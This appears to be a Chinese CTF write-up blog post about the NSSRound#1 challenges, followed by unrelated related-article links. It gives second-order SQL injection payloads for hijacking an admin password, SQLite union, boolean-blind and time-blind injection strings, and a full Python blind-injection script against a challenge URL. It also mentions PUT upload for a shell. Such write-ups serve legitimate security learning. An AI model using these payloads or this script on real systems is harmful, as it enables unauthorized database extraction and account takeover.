从NSSRound#1学到了什么
sql_by_sql
- 二次注入:
更改密码的功能形如:
update user set password='%s' where username='%s';
的语句就可以存在二次注入,即假设有个admin 我们直接创建一个用户为:
admin' -- -
然后更改密码时候执行语句就是:
update user set password='new passwd' where username='admin' -- -'
成功的修改了admin的密码
- sqlite注入:
SQLite中有一个类似information_schema功能的表sqlite_master
其中表里面有五个字段:
type:记录项目的类型,如table、index、view、trigger
name:记录项目的名称,如表名、索引名等
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql:记录创建该项目的SQL语句
联合查询:
闭合注释:
-- -
/*
order by 确定字段数:
1' order by 5 -- -
判断回显位置:
-1' union select 1,2,3 -- -
查看版本:
-1'union select 1,2,sqlite_version() -- -
查询表明和列名,通过sqlite_master:
-1' union select 1,(select sql from sqlite_master where type='table'),3 -- -
-1' union select 1,(select sql from sqlite_master where type='table' and name='user_data'),3 -- -
查询数据:
-1' union select 1,(select group_concat(username,password)from users),3 -- -
布尔盲注:
- sqlite是不支持ascii函数的 所以只能通过字符的形式去比较
-1 or substr((select group_concat(sql)from sqlite_master),1,1)<'a'/*
得到表名:
1 and substr((select name from sqlite_master where type='table' limit 1,1),1,1)='a'
得到列名:
select sql from sqlite_master where type='table' and name = 'flag'
最后数据:
select flag from flag limit 0,1
这里加不加limit 0,1其实有时候都可以
时间盲注:
sqlite没有sleep()函数 可以用randomblob(N)
没有if 用case when代替
-1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)/*
最后整合一个简单脚本,有点冗余 但是够用了:
import requests
url='http://1.14.71.254:28351/query'
def many_data():
result = ""
for total in range(600):
print(f"=====================第[{total}]次数据zinc======================")
minn=32
maxx=127
mid=(minn+maxx)//2
while minn<maxx:
select=f"-1 or substr((select group_concat(sql)from sqlite_master ),{total},1)>'{chr(mid)}'-- -"
data={'id':select}
resp=requests.post(url,data)
if "exist" in resp.text:
minn=mid+1
else:
maxx=mid
mid=(minn+maxx)//2
if mid==32 or mid==127:
break
result+=chr(mid)
print(result)
def flag():
result = ""
for total in range(1,600):
print(f"=====================第[{total}]次数据zinc======================")
minn=32
maxx=127
mid=(minn+maxx)//2
while minn<maxx:
select=f"-1 or substr((select flag from flag limit 0,1),{total},1)>'{chr(mid)}'-- -"
data={'id':select}
resp=requests.post(url,data)
if "exist" in resp.text:
minn=mid+1
else:
maxx=mid
mid=(minn+maxx)//2
if chr(mid)==" ":
break
result+=chr(mid)
print(result)
def table_name():
result = ""
for total in range(1,600):
print(f"=====================第[{total}]次数据zinc======================")
minn=32
maxx=127
mid=(minn+maxx)//2
while minn<maxx:
select=f"-1 or substr((select sql from sqlite_master where type='table' and name='flag'),{total},1)>'{chr(mid)}'-- -"
data={'id':select}
resp=requests.post(url,data)
if "exist" in resp.text:
minn=mid+1
else:
maxx=mid
mid=(minn+maxx)//2
if mid==32 or mid==127:
break
result+=chr(mid)
print(result)
#many_data()
# flag()
#table_name()
basic_check
- 提醒我们 当页面啥也没有 扫目录扫不出来 可以尝试看看有没有OPTIONS然后构造PUT文件上传最后拿shell
参考连接:
从NSSRound#1学到了什么的更多相关文章
- 【Python五篇慢慢弹】快速上手学python
快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...
- 跟Unity3D学代码优化
今天我们来聊聊如何跟Unity学代码优化,准确地说,是通过学习Unity的IL2CPP技术的优化策略,应用到我们的日常逻辑开发中. 做过Unity开发的同学想必对IL2CPP都很清楚,简单地说,IL2 ...
- 重学hadoop技术
最近因为做了些和hadoop相关的项目(虽然主要是运维),但是这段经历让我对hadoop的实际运用有了更加深入的理解. 相比以前自学hadoop,因为没有实战场景以及良好的大数据学习氛围,现在回顾下的 ...
- 《学技术练英语》PPT分享
之前做的一个PPT,分享给博客园的同学. 下载地址: 学技术练英语.pdf 技术是靠自己去学的,学技术不能仅仅是看书看博客,最好是有实践,不管是做实验去验证,还是写各种代码去玩各种特性,还是造轮子都是 ...
- 前端学HTTP之数据传输
× 目录 [1]客户机处理 [2]集线器处理 [3]路由器1处理[4]路由器2处理[5]交换机处理[6]服务器处理[7]反向传输 前面的话 上一篇中,介绍了网络基础.本文将详细介绍客户机在浏览网页ab ...
- 前端学HTTP之网络基础
× 目录 [1]网络 [2]OSI [3]TCP/IP 前面的话 HTTP协议对于前端工程师是非常重要的.我们在浏览网站时,访问的每一个WEB页面都需要使用HTTP协议实现.如果不了解HTTP协议,就 ...
- Mina、Netty、Twisted一起学(八):HTTP服务器
HTTP协议应该是目前使用最多的应用层协议了,用浏览器打开一个网站就是使用HTTP协议进行数据传输. HTTP协议也是基于TCP协议,所以也有服务器和客户端.HTTP客户端一般是浏览器,当然还有可能是 ...
- 一起学微软Power BI系列-使用技巧(2)连接Excel数据源错误解决方法
上一篇文章一起学微软Power BI系列-使用技巧(1)连接Oracle与Mysql数据库中,我们介绍了Power BI Desktop中连接Oracle和Mysql的方法,其实说到底还是驱动的问题, ...
- 开始学nodejs —— 调试篇
新学习一种技术,肯定会遇到很多坑,我们需要找到这些坑,弄清楚这些坑出现的原因和其中的原理.这种操作就叫做调试. 程序调试的方法和工具多种多样,在这里我总结一下我在学习nodejs的过程中,学到的和用到 ...
随机推荐
- Spring配置连接池和 Dao 层使用 jdbcTemplate
1.Spring 配置 c3p0 连接池 (1)导入jar包(Maven项目) <dependency> <groupId>com.mchange</groupId> ...
- [翻译]Service workers:PWA背后的英雄
原文地址:https://medium.freecodecamp.org/service-workers-the-little-heroes-behind-progressive-web-apps-4 ...
- 前端存储 - localStorage
发布自Kindem的博客,欢迎大家转载,但是要注意注明出处 localStorage 介绍 在HTML5中,引入了两个新的前端存储特性: localStorage sessionStorage 这两者 ...
- Json学习笔记、思维导图
- java中当static块和构造函数同时出现,顺序是?
静态块先于构造函数执行 class Student { int age; String name; static int count; public Student() { ...
- Android打开数据库读取数据
打开数据库读取数据 private MyDatabaseHelper dbHelper; dbHelper=new MyDatabaseHelper(this,"List.db", ...
- 常见的JVM 面试题
1.讲一讲JVM的跨平台与跨语言 跨平台 我们写的一个类,在不同的操作系统上(Linux.windows.Mac OS)执行,效果是一样的.这就是JVM的跨平台性. 跨语言 JVM只识别字节码,JVM ...
- selenium模块无头化浏览器 设置不加载页面css、图片、js
下面代码基于火狐浏览器,谷歌浏览器代码类似 from selenium import webdriver from selenium.webdriver.firefox.options import ...
- python基础练习题(题目 递归输出)
day19 --------------------------------------------------------------- 实例027:递归输出 题目 利用递归函数调用方式,将所输入的 ...
- 阿里云centos postgresql9.4源码安装 精简步骤、问题解答
阿里云centos环境源码安装postgresql9.4 本文的安装步骤主要来源于http://www.cnblogs.com/mchina/archive/2012/06/06/2539003.ht ...